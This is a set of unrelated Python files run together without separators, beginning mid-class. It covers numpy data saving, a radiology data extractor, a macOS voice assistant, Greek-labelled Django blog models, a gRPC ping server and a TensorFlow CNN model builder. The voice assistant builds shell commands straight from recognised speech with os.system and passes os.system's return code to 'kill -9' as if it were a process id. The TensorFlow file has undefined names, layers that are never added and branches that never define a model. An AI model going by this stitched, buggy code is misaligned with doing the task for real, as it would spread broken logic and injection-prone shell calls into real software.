        footprints = np.expand_dims((footprints > 0.5).astype(int), -1)
        self.train_data = np.concatenate((images, masks, footprints), axis=-1)
        self.train_data = np.transpose(self.train_data, [0,3,1,2]) # for pytorch style inputs (batch x C x H x W)

    def save_data(self, path, val_path=None):
        index = len(os.listdir(path))
        for i in range(len(self.train_data)):
            np.save(path + "data_" + str(i+index), self.train_data[i])

        if val_path:
            index = len(os.listdir(val_path))
            for i in range(len(self.val_data)):
                np.save(val_path + "data_" + str(i + index), self.val_data[i])


import json
import logging
from typing import List

from radiology_dataextractor import cli
from radiology_dataextractor.input_processor.file_processor import \
    distribute_input_data_procession_and_create_data_aggregator, InputAggregator, log_start_finish
from radiology_dataextractor.input_processor.output import MlDigestibleOutput

@log_start_finish('processing input files')
def main():
    aggregator: InputAggregator = distribute_input_data_procession_and_create_data_aggregator(cli)

    output: List[MlDigestibleOutput] = aggregator.aggregate().result
    # of course can fail due to the indexing :D
    logging.debug('output first 2 element: ' + str(output[:2]))

    write_output(output)

@log_start_finish('flushing output json file')
def write_output(output):
    with open('output.ml.json', 'w') as f:
        # tweak data manually into a digestible format
        # i could use non manual ways for this, like pickle (of course, it has its downside)
        f.write(json.dumps([o.to_json() for o in output]))

if __name__ == '__main__':
    main()
    logging.info('*|' * 79)


#!/usr/local/bin/python3

import speech_recognition as sr
import os
from gtts import gTTS
import datetime
import warnings
import calendar
import random
import wikipedia
import time
import tkinter
from PIL import Image, ImageTk, ImageSequence
import sys
import subprocess

class Mery(object):
	def __init__(self):

		self.language = "en"

		warnings.filterwarnings("ignore")

		# self.root = tkinter.Tk()
		# self.canvas = tkinter.Canvas(self.root, width=250, height=230, background="black")
		# self.sequence = [ImageTk.PhotoImage(img.resize(((300),(220))))
		# 					for img in ImageSequence.Iterator(
		# 							Image.open(
		# 							r'/Users/Ismael/Desktop/AI-Project/brain1.gif'))]
		# self.image = self.canvas.create_image(125,125, image=self.sequence[0])

	def Listener(self):

		AudioReader = sr.Recognizer()

		with sr.Microphone() as source:
			audio = AudioReader.listen(source)
			# prindasht ("I'm Listening")

			data = ""
			try:
				data = AudioReader.recognize_google(audio)
				print ("you said: " + data)

			except sr.UnknownValueError:
				print ("waiting for audio...")

			except sr.RequestError as e:
				print ("Service error from Google Speech Recognition, check internet connection " + e)

			return data

	def CallBack(self):
		WakeWords = ["mary", "hey mary", "mery", "married", "marrieds", "he married", "ameri", "amari", "marry"]
		MeryHeard = False

		text = OneTrueMery.Listener()
		text = text.lower()
		for phrase in WakeWords:
			if phrase in text:
				MeryHeard = True

		if MeryHeard:

			OneTrueMery.Response("Yes Sir?",self.language)

			return "succes"

	def Response(self,text,language):

		TtS = gTTS(text = text, lang = language, slow=False)
		#Text to Speech

		TtS.save("TextToResponse.mp3")

		os.system("afplay TextToResponse.mp3")

		# subprocess.call(('/usr/bin/osascript', '-e',  'tell application "Music" to pause',))

	def getDate(self):

		month_names = [

		"January", "February", "March"
		, "April", "May", "June", "July"
		, "August", "September", "October"
		, "November", "December"]

		ordinal_numbers = [

		"1st", "2nd", "3rd", "4rd", "5th", "6th", "7th", "8th", "9th", "10th",
		"11th", "12th", "13th", "14th", "15th", "16th", "17th", "18th", "19th", "20th",
		"21st", "22nd", "23rd", "24th", "25th", "26th", "27th", "28th", "29th", "30th", "31st"]

		Now = datetime.datetime.now()

		My_day = datetime.datetime.today()

		Weekday = calendar.day_name[My_day.weekday()]

		Month_num = Now.month

		Day_num = Now.day

		return "Today is: " + Weekday + " " + month_names[Month_num - 1] + " the " + ordinal_numbers[Day_num - 1] + "."

	def getInfo(self, audio2):
		try:
			sentence = audio2.split(" ")
			filtered = []
			for word in sentence:
				if word == "look" or word == "up" or word == "search":
					pass
				else:
					filtered.append(sentence[sentence.index(word)])

			filteredWord = " ".join(filtered)
			wikInfo = wikipedia.summary(filteredWord, sentences=2)
			OneTrueMery.Response("Here's what I found: " + wikInfo,self.language)

		except:
			OneTrueMery.Response("I didn't understand what you want me to search",self.language)

	def OpenApp(self, audio2):

		try:
			AudioList = audio2.split(" ")
			Grammar = []
			counter = 1

			for word in AudioList:
				if word == "open" or word == "Open":
					pass
				else:
					for letter in word:
						if word.index(letter) == 0 and counter == 1:
							x = letter.upper()
							Grammar.append(x)
							counter+=1
						elif word.index(letter) == 0 and counter == 2:
							x = letter.upper()
							Grammar.append("\\")
							Grammar.append(" ")
							Grammar.append(x)
						else:
							x = letter
							Grammar.append(x)

			CorrectedGrammar = "".join(Grammar)
			os.system("open -a " + CorrectedGrammar)
			OneTrueMery.Response("Opening " + CorrectedGrammar,self.language)
		except:
			OneTrueMery.Response("I didn't recognize the application.",self.language)

	def CloseApp(self, audio2):
		try:
			AudioList = audio2.split(" ")
			Grammar = []
			counter = 1

			for word in AudioList:
				if word == "close" or word == "Close":
					pass
				else:
					for letter in word:
						if word.index(letter) == 0 and counter == 1:
							x = letter.upper()
							Grammar.append(x)
							counter+=1
						elif word.index(letter) == 0 and counter == 2:
							x = letter.upper()
							Grammar.append(" ")
							Grammar.append(x)
						else:
							x = letter
							Grammar.append(x)

			CorrectedGrammar = "".join(Grammar)
			# AppPID = os.system("pgrep " + CorrectedGrammar)
			OneTrueMery.Response("Closing " + CorrectedGrammar,self.language)
			subprocess.call(('/usr/bin/osascript', '-e',  "tell application "+ "\"" +CorrectedGrammar+ "\"" +" to quit",))
			# os.system("pkill -x " + CorrectedGrammar)

		except:
			OneTrueMery.Response("I didn't recognize the application.",self.language)

	def AI(self):

		while True:

			audio2 = OneTrueMery.Listener()

			if "open" in audio2:
				OneTrueMery.OpenApp(audio2)

			if "look up" in audio2 or "search" in audio2:
				OneTrueMery.getInfo(audio2)

			if "play" in audio2 or "play music" in audio2 or "music please" in audio2:
				subprocess.call(('/usr/bin/osascript', '-e',  'tell application "Music" to play',))

			if "date" in audio2:
				OneTrueMery.Response(OneTrueMery.getDate(),self.language)

			if "stop music" in audio2 or "stop" in audio2 or "silence" in audio2 or  "quiet" in audio2:
				subprocess.call(('/usr/bin/osascript', '-e',  'tell application "Music" to pause',))

			if "next" in audio2 or "track" in audio2 or "next song" in audio2 or "next track" in audio2:
				subprocess.call(('/usr/bin/osascript', '-e',  'tell application "Music" to next track',))

			if "previous"  in audio2 or "previous song" in audio2 or "previous track" in audio2:
				subprocess.call(('/usr/bin/osascript', '-e',  'tell application "Music" to previous track',))

			if "thanks mary" in audio2 or "thanks" in audio2:
				OneTrueMery.Response("sure thing. goodbye",self.language)
				pid = os.system("ps a | grep AI_animation")
				os.system("kill -9 " + str(pid))
				# break
				sys.exit()
			if "close" in audio2:
				OneTrueMery.CloseApp(audio2)

			if "nothing" in audio2 or "nevermind" in audio2:
				OneTrueMery.Response("alright then",self.language)
				pid = os.system("ps | grep AI_animation.py")
				os.system("kill -9 " + str(pid))
				# break
				sys.exit()

			if "goodbye" in audio2 or "exit" in audio2:
				OneTrueMery.Response("Goodbye",self.language)
				pid = os.system("ps | grep AI_animation.py")
				os.system("kill -9 " + str(pid))
				sys.exit()

			else:
				pass

	# def Animate(self,counter):
	# 	self.canvas.itemconfig(self.image, image=self.sequence[counter])
	# 	self.root.after(20, lambda: OneTrueMery.Animate((counter+1) % len(self.sequence)))

	# def Exit(self):

	# 	self.root.destroy()
	# 	sys.exit()

	# def Miscelaneous(self):
	# 	self.canvas.pack(fill=tkinter.BOTH, expand=True)
	# 	label = tkinter.Label(self.root, text="Mery [Isma's Personal AI]", background="black", foreground="white").pack(fill=tkinter.BOTH, expand=True, side="left")
	# 	button = tkinter.Button(self.root, text="exit",font="bold", highlightbackground="black",command=OneTrueMery.Exit).pack(fill=tkinter.BOTH,side=tkinter.BOTTOM)

	# def Pop(self):
	# 		OneTrueMery.Miscelaneous()
	# 		OneTrueMery.Animate(1)
	# 		self.root.mainloop()

OneTrueMery = Mery()
thingy = "none"
subprocess.Popen("python3 AI_animation.py",shell=True)

while True:

	if thingy == "succes":

		OneTrueMery.AI()

	else:

		thingy = OneTrueMery.CallBack()

#"Done"


from django.contrib.auth.models import User
from django.db import models
from django.utils.html import mark_safe
from django.core.urlresolvers import reverse
from django.core.exceptions import ObjectDoesNotExist

from ckeditor.fields import RichTextField
from bs4 import BeautifulSoup
from PIL import Image
import html, datetime, logging

logger = logging.getLogger('main')

class UpImages(models.Model):
    image = models.ImageField(blank=False, upload_to='images/%Y/%m/%d/', max_length=250)
    uploaded_by = models.ForeignKey(User, null=True, on_delete=models.SET_NULL)
    image_title = models.CharField(blank=True, max_length=255, verbose_name='Τίτλος')
    upload_date = models.DateTimeField('Ημερομηνία Ανάρτησης', default=datetime.datetime.now)

    def thumbnail(self):
        return u'' % self.image.url
    thumbnail.short_description = 'Εικόνα'
    thumbnail.allow_tags = True

    def __str__(self):
        return self.image_title

    def save(self, *args, **kwargs):
        # Setting image title and reducing image quality.
        self.image_title = (self.image.path).split('/')[-1].split('.')[0]
        super(UpImages, self).save(*args, **kwargs)
        imagepath = self.image.path
        image = Image.open(imagepath)
        image.save(imagepath, "JPEG", quality=30)

    class Meta:
        verbose_name = "Εικόνα"
        verbose_name_plural = "Εικόνες"
        ordering = ['-upload_date']

class Category(models.Model):
    name = models.CharField('Όνομα Κατηγορίας', max_length=100, blank=False)
    def __str__(self):
        return self.name
    class Meta:
        verbose_name = "Κατηγορία"
        verbose_name_plural =  "Κατηγορίες"

class Posts(models.Model):
    STATUS_CHOICES = (
        ('p', 'Δημοσιευμένο'),
        ('d', 'Πρόχειρο'),
    )
    text = RichTextField("Κείμενο", blank=False)
    pub_date = models.DateField('Ημερομηνία Ανάρτησης', default=datetime.date.today, null=True, blank=True)
    image = models.ForeignKey(UpImages, on_delete=models.SET_NULL,null=True, blank=True, verbose_name='Εικόνα')
    title = models.CharField('Τίτλος' ,max_length=255, null=True, blank=True)
    author = models.ForeignKey(User, on_delete=models.SET_NULL, verbose_name='Αρθρογράφος', null=True, blank=True)
    category = models.ForeignKey(Category,default=0, on_delete=models.SET_NULL, null=True, blank=True, verbose_name='Κατηγορία')
    status = models.CharField('Κατάσταση', max_length=1, choices=STATUS_CHOICES, default='d')
    viewcount = models.IntegerField('Αριθμός Προβολών', default=0)

    def thumbnail(self):
        if self.image:
            return u'' % self.image.image.url
        return "Δεν υπάρχει φωτογραφία"
    thumbnail.short_description = 'Εικόνα Κειμένου'
    thumbnail.allow_tags = True

    def show_link(self):
        return ' Προβολή Άρθρου ' % self.get_absolute_url()
    show_link.allow_tags = True
    show_link.short_description = "-"

    def __str__(self):
        if self.title:
            return self.title
        return "Δεν υπάρχει τίτλος"

    def get_absolute_url(self):
        return reverse('main:articles', args=(self.id,))
    class Meta:
        verbose_name_plural = "Δημοσιεύσεις"
        verbose_name = "Δημοσίευση"
        ordering = ['-pub_date']

class BodyText(models.Model):
    text = models.TextField('Κείμενο', blank=False)
    author = models.CharField('Ποίος Το Είπε', blank=False, max_length=255)
    active = models.BooleanField(verbose_name='Ενεργό', default=False)
    pub_date = models.DateTimeField('Ημερομηνία Αρχικής Δημοσίευσης', default=datetime.datetime.now)

    def activate(self):
        # This is used to activate a quote through the changelist
        return " Ενεργοποίηση  "
    activate.allow_tags = True
    activate.short_description = "Ενεργοίηση Παραφοράς"

    def save(self, *args, **kwargs):
        if self.active == True:
            try:
                current_active = BodyText.objects.get(active=True)
                if self != current_active:
                    current_active.active = False;
                    current_active.save()
            except BodyText.DoesNotExist:
                pass
        super(BodyText, self).save(*args, **kwargs)

    class Meta:
        verbose_name_plural = "Παραφορές"
        verbose_name = "Παραφορά"

# Avoid circular imports
from .utils import truncate

class Bios(models.Model):
    def get_number():
        num = Bios.objects.count()
        if num:
            return num + 1
        # Case : no objects are present in the db.
        # Then return 1.
        return 1
    author_name = models.CharField(max_length=50, blank=False, verbose_name="Όνομα")
    author_cv   = models.TextField(blank=False, verbose_name="Βιογραφικό")
    position    = models.IntegerField(verbose_name="Αριθμός Θέσης", default=get_number)
    minified_cv = models.CharField(max_length=255, blank=True, verbose_name="Βιογραφικό")

    def __str__(self):
        return self.author_name
    def save(self, *args, **kwargs):
        if not self.pk:
            try:
                curr_bios = Bios.objects.get(position=self.position)
                curr_bios.position = Bios.get_number()
                curr_bios.save()
            except ObjectDoesNotExist:
                pass
        self.minified_cv = truncate(self.author_cv)
        super(Bios, self).save(*args, **kwargs)
    class Meta:
        ordering = ["position",]
        verbose_name = "Βιογραφικό"
        verbose_name_plural = "Βιογραφικά"

# Overring User's str method
def user_str_patch(self):
    return self.first_name

User.__str__ = user_str_patch


import asyncio
import logging

import grpc

import ping_pb2
import ping_pb2_grpc

class Ping(ping_pb2_grpc.PingServicer):

    async def SendPingReply(self, request,context):
        return ping_pb2.PingReply(message=f"{request.payload}-pong")

async def serve():
    server = grpc.aio.server()
    ping_pb2_grpc.add_PingServicer_to_server(Ping(), server)
    listen_addr = "10.128.0.6:12345"
    server.add_insecure_port(listen_addr)
    logging.info(f"Now listening for ping on {listen_addr}")
    await server.start()
    await server.wait_for_termination()

if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO)
    asyncio.run(serve())


import numpy as np
from numba import jit
import tensorflow as tf
from tensorflow.keras import models, layers, regularizers

@jit(nopython=True)
def normalize_map(imap):
    temp_map = np.zeros(imap.shape)
    for j in range(imap.shape[-1]):
        temp = (imap[...,j]-np.mean(imap[...,j]))/np.std(imap[...,j])
        temp_map[...,j] = temp

    return temp_map

#A helper function that stores a bunch of models I've been playing around with. Notable Kosiba is a model following
#Kosiba 2020 (https://arxiv.org/abs/2006.05998) who had good success training it on x-ray+ optical data
def make_model(model_type = 'simple_cnn', input_shape = (342,342,5), degree = 5):

    if model_type == 'simple_cnn':
        model = models.Sequential()
        model.add(layers.Conv2D(32, (3, 3), activation='relu', input_shape=input_shape))
        model.add(layers.MaxPooling2D((2, 2)))
        model.add(layers.Conv2D(64, (3, 3), activation='relu'))
        model.add(layers.MaxPooling2D((2, 2)))
        model.add(layers.Conv2D(64, (3, 3), activation='relu'))
        model.add(layers.Flatten())
        model.add(layers.Dense(64, activation='relu'))
        model.add(layers.Dense(2))
    elif model_type == 'resnet':
        model = tf.keras.applications.ResNet50(include_top=True,
        weights= None,
        input_shape = input_shape,
        classes = 2)
    elif model_type == 'pretrained':
        model = tf.keras.applications.ResNet50(include_top=False,
        weights= 'imagenet',
        input_shape = input_shape_rgb,
        classes = 2)

    elif model_type == 'inception_v2':
        base_model = tf.keras.applications.InceptionResNetV2(include_top = False,
                input_shape = input_shape,
                weights= 'imagenet'
                )
        base_model.trainable = False

    elif model_type == 'hyper':
        def train_test_model(hparams):
            model = models.Sequential()
            model.add(layers.Conv2D(32, (3, 3), activation='relu', input_shape=input_shape))
            model.add(layers.MaxPooling2D((2, 2)))
            model.add(layers.Conv2D(64, (3, 3), activation='relu'))
            model.add(layers.MaxPooling2D((2, 2)))
            model.add(layers.Dropout(hparams[HP_DROPOUT]))
            model.add(layers.Conv2D(64, (3, 3), activation='relu'))
            model.add(layers.Flatten())
            model.add(layers.Dense(hparams[HP_NUM_UNITS], activation='relu'))
            model.add(layers.Dense(2))
            model.compile(
              optimizer=hparams[HP_OPTIMIZER],
              loss='sparse_categorical_crossentropy',
              metrics=['accuracy'],
          )

            model.fit(train_dataset, epochs=10)
            _, accuracy = model.evaluate(test_dataset)
            return accuracy

    elif model_type == 'test':
        model = models.Sequential([
        layers.Conv2D(16, 3, padding='same', activation='relu',
               input_shape=input_shape),
        layers.MaxPooling2D(),
        layers.Dropout(0.2),
        layers.Conv2D(32, 3, padding='same', activation='relu'),
        layers.MaxPooling2D(),
        layers.Conv2D(64, 3, padding='same', activation='relu'),
        layers.MaxPooling2D(),
        layers.Dropout(0.2),
        layers.Flatten(),
        layers.Dense(512, activation='relu'),
        layers.Dense(2)])

    elif model_type == 'deep_few_filters':
        model = models.Sequential()
        #model.add(layers.experimental.preprocessing.Rescaling(1./all_max, input_shape=input_shape))
        model.add(layers.Conv2D(2, (3, 3), activation='relu', input_shape=input_shape))
        model.add(layers.MaxPooling2D((2, 2)))
        j = 0
        for j in range(degree):
            model.add(layers.Conv2D(4, (3, 3), activation='relu'))
            model.add(layers.ZeroPadding2D((1,1)))
            #model.add(layers.MaxPooling2D((2, 2)))
            j +=1
        model.add(layers.Conv2D(8, (3, 3), activation='relu'))
        model.add(layers.Flatten())
        model.add(layers.Dense(16, activation='relu'))
        model.add(layers.Dense(2))

    elif model_type == 'dropout':
        model = models.Sequential()
        model.add(layers.Conv2D(32, (3, 3), kernel_regularizer=regularizers.l2(0.0001), activation='relu', input_shape=input_shape))
        layers.Dropout(0.5),
        model.add(layers.AveragePooling2D((2, 2)))
        model.add(layers.Conv2D(64, (3, 3), kernel_regularizer=regularizers.l2(0.0001), activation='relu'))
        layers.Dropout(0.5),
        model.add(layers.AveragePooling2D((2, 2)))
        model.add(layers.Conv2D(64, (3, 3), kernel_regularizer=regularizers.l2(0.0001), activation='relu'))
        layers.Dropout(0.5),
        model.add(layers.Flatten())
        model.add(layers.Dense(64, activation='relu'))
        model.add(layers.Dense(2))

    elif model_type == 'kosiba':
        model = models.Sequential()
        model.add(layers.Conv2D(64, (3, 3), activation='relu', input_shape=input_shape))
        model.add(layers.MaxPooling2D((2, 2), strides=(2,2)))
        for i in range(degree):
            model.add(layers.Conv2D(32, (3, 3), activation='relu'))
            model.add(layers.MaxPooling2D((2, 2), strides=(2,2)))
        model.add(layers.Flatten())
        model.add(layers.Dense(256, activation='relu', kernel_regularizer=regularizers.l1(0.0001)))
        layers.Dropout(0.65)

        model.add(layers.Dense(2))
    model.summary()
    if model_type == 'kosiba':
        lr_schedule = tf.keras.optimizers.schedules.InverseTimeDecay(
              0.0001,
              decay_steps=348/10*1000,
              decay_rate=1e-6,
              staircase=False)
        opt = tf.keras.optimizers.SGD(
                learning_rate=0.01, momentum=0.9, nesterov = True, name='SGD')
        model.compile(optimizer=opt,
                  loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),
                  metrics=['accuracy'])
    else:
        model.compile(optimizer='Adam',
              loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),
              metrics=['accuracy'])
    return model

class feature_model:

    def __init__(self, train, comp, w_y = False):
        self.w_y = w_y
        self.train = clean_inputs(train)
        self.comp = clean_inputs(comp)

    def clean_inputs(data_tensor):
        flags = []
        for i in range(data_tensor.shape[0]):
            if np.any(np.isnan(data_tensor[i,...])):
                flags.append(i)
        data_tensor = np.delete(data_tensor, flags, axis = 0)